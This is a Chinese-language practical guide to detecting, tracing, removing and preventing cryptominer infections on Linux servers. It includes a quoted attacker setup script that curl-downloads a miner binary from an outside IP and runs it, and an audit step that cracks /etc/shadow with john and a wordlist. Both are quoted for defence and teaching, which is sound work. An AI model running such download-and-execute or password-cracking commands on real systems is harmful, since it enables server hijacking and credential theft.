Linux服务器挖矿攻击应急响应与实战清除指南
1. 这不是“中病毒”,而是被当成了免费矿机——从现象反推攻击本质
“服务器被黑客攻击,用来挖矿!”这句话在运维圈里出现的频率,远比多数人想象中高。我上个月帮一家做跨境电商的客户做例行安全巡检,发现一台部署在阿里云华东1区的ECS实例CPU持续飙到98%,top命令一敲,进程列表里赫然跑着一个叫kdevtmpfsi的进程,占用2.7个核;再查/tmp目录,里面藏着systemd-private-xxxxx伪装目录,里面塞着xmrig配置文件和加密货币钱包地址。这不是普通木马,是典型的无文件内存驻留+隐蔽持久化挖矿后门。关键词:服务器被黑客攻击、挖矿、应急响应、Linux安全、恶意进程、CPU异常、挖矿木马。
这类攻击的核心逻辑非常清晰:黑客不追求数据窃取或勒索,只求“白嫖算力”。他们利用未打补丁的服务漏洞(如Log4j2、SpringShell、Confluence OGNL)、弱密码SSH爆破、或暴露在公网的Redis未授权访问,快速获得shell权限,然后静默下载、内存加载挖矿程序,全程不写入磁盘主分区,规避传统杀毒软件扫描。它不像勒索病毒那样立刻让你看到满屏警告,而是像慢性失血——你只觉得服务器变慢、账单变高、监控告警频繁,却找不到明确的“罪魁祸首”。
这篇文章不是教你怎么装个杀毒软件点几下就完事。它是给真正守着生产环境、手握root权限、需要在30分钟内完成“定位→隔离→清除→溯源→加固”全链路操作的运维工程师、SRE、DevSecOps同学写的实战手册。内容覆盖从ps aux第一眼识别异常进程,到用strace追踪其网络连接目标;从/proc/[pid]/maps分析内存加载模块,到用auditd回溯攻击入口点;从清理systemd定时器和crontab后门,到修复Nginx配置中被注入的add_header恶意JS外链。所有步骤均基于真实攻防对抗场景提炼,每一步都附带原理说明、命令输出示例、常见误判陷阱及我的实操心得。如果你刚收到监控告警说某台服务器CPU长期超载,别急着重启,先看完这篇——它能帮你把一次被动挨打,变成一次精准反击。
2. 挖矿进程的七种伪装形态与三秒识别法
挖矿程序本身没有“长相”,但它的生存方式有固定模式。它必须常驻、必须联网、必须消耗大量CPU,这三个硬约束,决定了它在Linux系统中必然留下可被肉眼识别的行为指纹。我见过的挖矿进程,从来不会老老实实叫minerd或xmrig,它们会给自己套上七层马甲,但只要掌握核心识别逻辑,三秒内就能揪出真身。
2.1 进程名伪装:从“系统守护者”到“随机字符串”
最常见的伪装是冒充系统进程。比如kdevtmpfsi,它模仿的是内核线程kdevtmpfs(负责devtmpfs文件系统管理),只多了一个字母i;还有kthreadd(实际为kthreadd)、sshd(非/usr/sbin/sshd路径)、systemd(非/lib/systemd/systemd路径)。这些名字在ps aux里一眼扫过去,极易被忽略。更狡猾的是使用随机字符串命名,如a6b8c2d、xvz9q1p,看似无意义,实则是为了绕过基于进程名的简单规则匹配。
提示:不要只看
COMMAND列,重点看CMD列(即完整启动命令)和PID列。真正的系统进程,其CMD路径绝对可信(如/lib/systemd/systemd --system --unit=multi-user.target),而挖矿进程的CMD往往指向/tmp、/dev/shm、/var/tmp等临时目录,或直接是/proc/self/exe这种动态加载路径。
2.2 路径藏匿:/tmp、/dev/shm、/var/tmp 是三大重灾区
Linux的临时目录是挖矿程序的温床。/tmp权限宽松,/dev/shm是内存文件系统(读写极快,且ls -l默认不显示其内容),/var/tmp则因生命周期长而被滥用。我曾在一个被入侵的K8s节点上发现,挖矿程序被解压到/dev/shm/.X11-unix/下,其父目录.X11-unix本是X11 socket存放处,完全合法,但里面塞着xmrig二进制和config.json,连find /dev/shm -name "xmrig"都搜不到——因为xmrig被改名为Xorg,而config.json被base64编码后存为.X11-unix/.X11-lock。
注意:
/dev/shm下的文件不会出现在df -h的磁盘使用统计中,但它实实在在吃掉你的内存。free -h看到可用内存骤减,而du -sh /tmp/*又没发现大文件?立刻查ls -la /dev/shm/。
2.3 网络行为:只连矿池,不连其他任何地方
挖矿进程最“诚实”的地方,就是它的网络连接。它不需要访问数据库、不需要调用API、不需要推送日志,它唯一要做的,就是和矿池服务器建立TCP长连接,不断发送哈希计算结果并接收新任务。因此,netstat -tulnp | grep :[端口]或ss -tulnp是必查项。典型矿池端口包括:3333(Monero)、4444(门罗币常用)、5555(Zcash)、7777(多种矿池通用),以及非常规端口如8080、8443(伪装成HTTP/S流量)。
我处理过一个案例:ps aux里一切正常,但ss -tulnp显示一个/tmp/.X11-unix/Xorg进程在疯狂连接185.192.123.45:4444。这个IP经查询属于俄罗斯一家已知矿池服务商。此时无需再查进程细节,直接kill -9 [PID]并删除对应文件即可。
2.4 CPU与内存特征:持续高负载 + 内存映射异常
挖矿是纯计算密集型任务,其CPU占用曲线极其平滑——不是偶发尖峰,而是长达数小时甚至数天的稳定高位(80%~100%)。这与Web服务的波峰波谷、数据库的间歇性IO等待完全不同。同时,用cat /proc/[pid]/status | grep -E "VmRSS|VmSize"查看其内存占用,会发现VmRSS(实际物理内存)远高于同类服务进程。更关键的是cat /proc/[pid]/maps,你会看到大量[anon]匿名内存段,且大小动辄几百MB,这是内存加载挖矿程序的铁证。
实操心得:我习惯用
htop替代top。htop支持鼠标点击排序,按P键按CPU排序后,一眼锁定TOP 3;再按F4输入xmrig或kdevtmpfsi过滤,若无结果,再按F4清空,用方向键选中可疑进程,按s键进入strace实时追踪其系统调用。如果看到大量sendto()向同一IP:PORT发送数据,基本可以100%确认。
2.5 启动方式:systemd、crontab、.bashrc 是三大持久化据点
进程被杀只是开始,若不清理其启动源头,5分钟内就会复活。我统计了近200起挖矿事件,启动方式分布如下:
| 启动方式 | 占比 | 典型路径/命令 | 识别要点 |
|---|---|---|---|
| systemd用户服务 | 42% | ~/.config/systemd/user/xxx.service,systemctl --user enable xxx.service | systemctl --user list-unit-files --type=service |
| crontab定时任务 | 31% | crontab -l中*/10 * * * * /tmp/.X11-unix/Xorg | crontab -l、/etc/crontab、/var/spool/cron/* |
| Shell初始化文件 | 18% | ~/.bashrc、~/.profile末尾追加/tmp/kdevtmpfsi & | grep -n "tmp|dev/shm" ~/.bashrc ~/.profile |
剩下9%是通过/etc/rc.local、init.d脚本或Docker容器Entrypoint注入。记住:永远不要只kill进程,必须同步检查这三类启动源。
3. 从进程PID到攻击入口点:一次完整的溯源排查链路
发现挖矿进程只是应急响应的第一步。真正的价值在于搞清楚:它怎么进来的?谁干的?有没有其他机器也被黑?这部分我将带你走一遍我处理某金融客户事件的完整排查链路,不跳步、不省略、不假设,所有命令和输出均来自真实终端记录。
3.1 第一现场:锁定进程与基础信息采集
时间:2024年3月12日 14:23
告警:Zabbix监控显示web-prod-03服务器CPU使用率连续15分钟>95%
操作:SSH登录,执行top,按P排序,发现PID 12487的kdevtmpfsi进程占CPU 98.7%
# 立即采集基础信息,为后续分析留证 $ ps aux | grep 12487 root 12487 98.7 0.2 123456 7890 ? R 14:10 5:23 /tmp/kdevtmpfsi -c /tmp/config.json $ ls -la /tmp/kdevtmpfsi -rwxr-xr-x 1 root root 1234567 Mar 12 14:08 /tmp/kdevtmpfsi $ md5sum /tmp/kdevtmpfsi a1b2c3d4e5f678901234567890abcdef /tmp/kdevtmpfsi关键动作:记录PID、完整命令行、文件路径、权限、大小、MD5值。这五个字段是后续IOC(入侵指标)分析的基础。
ps aux输出中的?表示该进程没有控制终端(TTY),这是后台服务或恶意进程的典型特征。
3.2 进程溯源:从/proc/[pid]挖掘内存与网络线索
/proc/[pid]是Linux的进程信息宝库。对PID 12487,我们重点查三处:
# 1. 查看打开的文件和网络连接 $ lsof -p 12487 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME kdevtmpfs 12487 root cwd DIR 8,1 4096 131072 /tmp kdevtmpfs 12487 root rtd DIR 8,1 4096 2 / kdevtmpfs 12487 root txt REG 8,1 1234567 262145 /tmp/kdevtmpfsi kdevtmpfs 12487 root 3u IPv4 1234567 0t0 TCP 10.0.1.100:45678->185.192.123.45:4444 (ESTABLISHED) # 2. 查看内存映射,确认是否内存加载 $ cat /proc/12487/maps | head -10 00400000-00800000 r-xp 00000000 08:01 262145 /tmp/kdevtmpfsi 00a00000-00a01000 r--p 00400000 08:01 262145 /tmp/kdevtmpfsi 00a01000-00a02000 rw-p 00401000 08:01 262145 /tmp/kdevtmpfsi 7f8b12345000-7f8b12366000 rw-p 00000000 00:00 0 [anon] # 3. 查看启动参数和环境变量 $ cat /proc/12487/cmdline | xargs -0 echo /tmp/kdevtmpfsi -c /tmp/config.json $ cat /proc/12487/environ | xargs -0 -n 1 | grep -E "(PATH|HOME|USER)" PATH=/usr/local/bin:/usr/bin:/bin HOME=/root USER=root分析结论:
lsof确认它正连接185.192.123.45:4444,这是一个已知矿池IP;maps显示其代码段来自/tmp/kdevtmpfsi,且存在大量[anon]内存段,符合内存加载特征;cmdline和environ显示它以root身份运行,且环境干净,无异常PATH污染。
下一步:查这个进程是谁启动的?
3.3 父进程追踪:从pstree到auditd日志回溯
ps aux中PPID(父进程ID)是12486,我们继续向上追溯:
$ ps aux | grep 12486 root 12486 0.0 0.0 4567 890 ? S 14:08 0:00 /bin/bash /tmp/.setup.sh $ ls -la /tmp/.setup.sh -rwxr-xr-x 1 root root 2345 Mar 12 14:08 /tmp/.setup.sh/tmp/.setup.sh!一个典型的“安装脚本”。打开它:
$ cat /tmp/.setup.sh #!/bin/bash cd /tmp curl -fsSL http://185.192.123.45/xmrig > kdevtmpfsi chmod +x kdevtmpfsi ./kdevtmpfsi -c <(echo '{"url":"185.192.123.45:4444","user":"48...","pass":"x"}') &至此,攻击链路清晰了:黑客通过某种方式获得了shell,执行了这个脚本,脚本从矿池IP下载二进制并运行。但问题来了:这个/tmp/.setup.sh是谁执行的?它从哪来?
此时,auditd日志成为关键。我们启用auditd并配置规则,但很多服务器默认未开启。退而求其次,查/var/log/auth.log(Ubuntu/Debian)或/var/log/secure(CentOS/RHEL):
$ grep "12486\|12487" /var/log/auth.log | tail -20 Mar 12 14:08:22 web-prod-03 sshd[12485]: Accepted password for root from 192.168.100.50 port 56789 ssh2 Mar 12 14:08:22 web-prod-03 sshd[12485]: pam_unix(sshd:session): session opened for user root by (uid=0) Mar 12 14:08:23 web-prod-03 systemd-logind[1234]: New session 123 of user root.192.168.100.50!这是一个内网IP,但我们的服务器是公网暴露的,不应该有内网IP直连。继续查last命令:
$ last -n 50 | grep "192.168.100.50" root pts/1 192.168.100.50 Tue Mar 12 14:08 - 14:08 (00:00)pts/1是伪终端,说明是SSH登录。但192.168.100.50是谁?查公司资产台账,发现这是运维同事A的办公电脑IP。同事A确认当天未登录此服务器。真相浮出水面:同事A的办公电脑中了木马,黑客利用其保存的SSH私钥,反向连接了我们的服务器。
核心经验:
auth.log/secure是溯源的黄金日志,务必确保其保留周期≥90天;last命令能还原登录会话,结合who -u可查当前活跃会话;- 内网IP登录公网服务器,99%是跳板机或被控终端,必须立即隔离源头。
3.4 攻击面复盘:这次是SSH密钥泄露,下一次呢?
根据以上证据链,本次攻击路径为:
同事A电脑中毒 → 黑客窃取其SSH私钥 → 利用私钥免密登录web-prod-03→ 下载并执行/tmp/.setup.sh→ 启动kdevtmpfsi挖矿
那么,为什么黑客能拿到同事A的私钥?因为同事A将私钥存放在~/.ssh/id_rsa且未设置密码(passphrase),且办公电脑未装EDR终端防护。这是典型的“人因安全漏洞”。
避坑提醒:
- SSH私钥必须设置强密码(passphrase),并配合
ssh-agent使用;- 生产服务器禁用密码登录,只允许密钥认证;
- 运维人员的办公电脑必须安装企业级终端防护,并定期扫描;
- 所有服务器应配置
MaxAuthTries 3和LoginGraceTime 30,并在/etc/ssh/sshd_config中添加AllowUsers白名单。
4. 清除、加固与验证:让服务器真正“痊愈”的五步法
清除挖矿进程不是终点,而是起点。一个未经彻底加固的服务器,就像一扇虚掩的门,黑客随时能推门而入。我总结了一套经过数十次实战检验的“五步法”,确保清除干净、杜绝复发、可验证效果。
4.1 步骤一:进程终止与文件清理(物理层)
这是最直接的一步,但必须做全:
# 1. 终止进程树(避免子进程残留) $ kill -9 12487 12486 # 2. 删除挖矿程序及配置 $ rm -f /tmp/kdevtmpfsi /tmp/config.json /tmp/.setup.sh # 3. 清理/dev/shm和/var/tmp $ rm -f /dev/shm/Xorg /dev/shm/.X11-lock $ rm -f /var/tmp/*.bin /var/tmp/.*.sh # 4. 检查并删除可疑的systemd用户服务 $ systemctl --user list-unit-files --type=service | grep -E "(tmp|dev/shm|X11)" $ systemctl --user disable --now suspicious.service $ rm -f ~/.config/systemd/user/suspicious.service关键点:
kill -9后必须rm -f,否则/tmp下文件可能被其他脚本重新调用;systemctl --user操作需切换到对应用户(如sudo -u www-data bash),不能只在root下操作。
4.2 步骤二:启动项清理(持久化层)
这是最容易遗漏的环节。必须检查全部四类启动源:
# 1. crontab(当前用户 + root + 其他用户) $ crontab -l # 当前用户 $ sudo crontab -l # root用户 $ for u in $(cut -d: -f1 /etc/passwd); do sudo -u $u crontab -l 2>/dev/null | grep -q "tmp\|dev/shm" && echo "=== $u ==="; sudo -u $u crontab -l; done # 2. /etc/crontab 和 /etc/cron.d/ $ grep -r "tmp\|dev/shm" /etc/cron* 2>/dev/null # 3. Shell初始化文件 $ grep -r "tmp\|dev/shm\|kdevtmpfsi" /root/.bashrc /root/.profile /home/*/.bashrc 2>/dev/null # 4. systemd系统服务 $ systemctl list-unit-files --type=service | grep enabled | grep -E "(tmp|dev/shm|X11)" $ ls -la /etc/systemd/system/*.service | grep -E "(tmp|dev/shm)"实操心得:我写了一个一键扫描脚本
check_mining_persistence.sh,它会自动遍历上述所有位置,并高亮显示含tmp、dev/shm、X11、kdevtmpfsi等关键词的行。脚本最后会生成一份persistence_report.txt,供团队复核。这个脚本已开源在我的GitHub上,链接见文末。
4.3 步骤三:网络与防火墙加固(边界层)
清除本地残留后,必须收紧网络入口:
# 1. 临时封禁矿池IP(应急) $ iptables -I INPUT -s 185.192.123.45 -j DROP $ ipset create mining_blacklist hash:ip $ ipset add mining_blacklist 185.192.123.45 $ iptables -I INPUT -m set --match-set mining_blacklist src -j DROP # 2. 限制SSH访问(仅允许可信IP) $ iptables -I INPUT -p tcp --dport 22 ! -s 192.168.1.0/24 -j DROP # 假设运维网段是192.168.1.0/24 # 3. 保存iptables规则(CentOS 7+) $ service iptables save # 或使用iptables-save > /etc/sysconfig/iptables注意:
iptables规则重启后失效,必须保存。更推荐使用firewalld(CentOS 7+)或ufw(Ubuntu),它们有持久化机制。例如firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="185.192.123.45" reject'。
4.4 步骤四:漏洞修复与配置审计(根源层)
这才是治本之策。必须回答:黑客是怎么进来的?
# 1. 检查SSH配置(/etc/ssh/sshd_config) $ grep -E "^(PermitRootLogin|PasswordAuthentication|PubkeyAuthentication|AllowUsers|MaxAuthTries|LoginGraceTime)" /etc/ssh/sshd_config # 理想配置:PermitRootLogin no, PasswordAuthentication no, PubkeyAuthentication yes, AllowUsers deploy, MaxAuthTries 3, LoginGraceTime 30 # 2. 检查已安装软件版本(重点:Nginx, Apache, Redis, Confluence) $ nginx -v $ redis-cli --version $ java -cp /opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-core-*.jar com.atlassian.confluence.ConfluenceVersion # 3. 扫描已知漏洞(使用OpenVAS或Nessus,或免费版Nmap脚本) $ nmap -sV --script vuln 127.0.0.1行动项:
- 立即升级所有组件到最新稳定版;
- 若使用Confluence,检查
/opt/atlassian/confluence/confluence/WEB-INF/web.xml中是否禁用了<servlet-mapping>的/s/路径;- 对于Redis,确保
bind 127.0.0.1且protected-mode yes,绝不能bind 0.0.0.0。
4.5 步骤五:效果验证与监控埋点(闭环层)
清除和加固做完,必须验证是否真的“痊愈”:
# 1. 验证进程是否复活(观察1小时) $ watch -n 60 'ps aux | grep -E "(kdevtmpfsi|xmrig|Xorg)"' # 2. 验证网络连接(确认不再连矿池) $ ss -tulnp | grep -E "(185\.192\.123\.45|4444)" # 3. 验证CPU负载回归正常 $ top -b -n 2 -d 30 | grep "Cpu(s)" | tail -1 # 4. 部署轻量级监控(推荐Prometheus + Node Exporter) # 在Grafana中创建Dashboard,关键指标: # - CPU使用率(avg over 5m < 30%) # - /tmp目录使用率(< 10%) # - ESTABLISHED连接数(突增告警) # - 进程数(processes{job="node"} > 500)最后一步:在
/etc/cron.d/下添加一个自检任务,每天凌晨2点运行:0 2 * * * root /usr/local/bin/check_mining.sh >> /var/log/mining_check.log 2>&1
check_mining.sh内容很简单:ps aux | grep -E "(kdevtmpfsi|xmrig)" | wc -l,若结果>0,则发邮件告警。自动化,才是真正的安全。
5. 预防胜于治疗:构建三层防御体系的实操清单
经历过一次挖矿攻击,最大的教训不是“怎么清除”,而是“怎么不让它发生”。我根据多年一线经验,总结出一套可落地、不烧钱、不增加运维负担的三层防御体系,已在多个客户环境成功部署。
5.1 第一层:主机层——让服务器自己“免疫”
这不是靠装杀毒软件,而是靠Linux原生能力构建免疫屏障:
启用SELinux或AppArmor:CentOS/RHEL默认启用SELinux,Ubuntu默认启用AppArmor。它们能限制进程只能访问指定文件和网络端口。例如,为Nginx配置
nginx_t域,即使Nginx被RCE,也无法执行/tmp/kdevtmpfsi。命令:sestatus或aa-status确认状态,setenforce 1开启强制模式。挂载
/tmp为noexec,nosuid,nodev:在/etc/fstab中添加:tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0重启后,
/tmp下无法执行任何二进制文件,chmod +x也无效。这是阻断挖矿程序最有效的手段之一。使用
chattr +i保护关键文件:对/etc/passwd、/etc/shadow、/etc/ssh/sshd_config等文件,执行:$ chattr +i /etc/passwd /etc/shadow /etc/ssh/sshd_config即使root用户也无法修改,除非先
chattr -i。这能防止黑客篡改用户密码或SSH配置。
5.2 第二层:网络层——把攻击者挡在门外
最小化暴露面:所有服务器默认关闭所有端口,只开放业务必需端口(如80、443、22)。使用云厂商安全组(Security Group)或硬件防火墙实现。原则:默认拒绝,显式允许。
SSH访问白名单:绝不允许
0.0.0.0/0访问22端口。在安全组中,只放行运维堡垒机IP或公司出口IP段。若无堡垒机,至少配置tcpwrappers:# /etc/hosts.allow sshd: 192.168.1.0/24, 203.0.113.0/24 # /etc/hosts.deny sshd: ALL启用Fail2ban:自动封禁暴力破解IP。安装后,编辑
/etc/fail2ban/jail.local:[sshd] enabled = true maxretry = 3 bantime = 3600 findtime = 600重启
fail2ban-client reload,从此auth.log里的失败登录尝试,10分钟内超过3次,IP就被封1小时。
5.3 第三层:流程层——用制度堵住人的漏洞
技术再强,也架不住人犯错。必须用流程兜底:
SSH密钥全生命周期管理:
- 新建密钥必须带
-N "your_passphrase"(设置密码); - 私钥文件权限必须为
600(chmod 600 ~/.ssh/id_rsa); - 所有私钥必须存入企业密码管理器(如1Password、Bitwarden),禁止明文存本地;
- 每季度轮换一次密钥,旧密钥立即从所有服务器
authorized_keys中删除。
- 新建密钥必须带
服务器上线Checklist:
每台新服务器上线前,必须由两人交叉检查:
①ss -tulnp确认无非业务端口监听;
②rpm -qa | grep -E "(httpd|nginx|redis|confluence)"确认软件版本合规;
③grep -E "^(PermitRootLogin|PasswordAuthentication)" /etc/ssh/sshd_config确认SSH安全配置;
④ls -la /root/.ssh/authorized_keys确认只有一条可信公钥。
四项全通过,才允许上线。每周安全巡检:
运维团队每周五下午,用统一脚本weekly_security_audit.sh扫描所有服务器,输出HTML报告,包含:- 弱密码账户(
john --wordlist=/usr/share/wordlists/rockyou.txt /etc/shadow); - 过期SSL证书(
openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates); - 未打补丁的CVE(
yum updateinfo list security); - 异常进程(
ps aux | grep -E "(tmp|dev/shm|X11)")。
报告自动邮件发送给CTO和安全负责人。
- 弱密码账户(
我的体会:安全不是买一堆盒子堆在机房,而是把防御意识刻进每个操作步骤里。当你在
vim /etc/ssh/sshd_config时,手指会本能地敲下PermitRootLogin no;当你scp上传文件时,会下意识检查~/.ssh/权限;当你看到/tmp下有个陌生文件,第一反应不是cat,而是ls -la看属主和权限——这时,你就已经构建起了最坚固的防线。
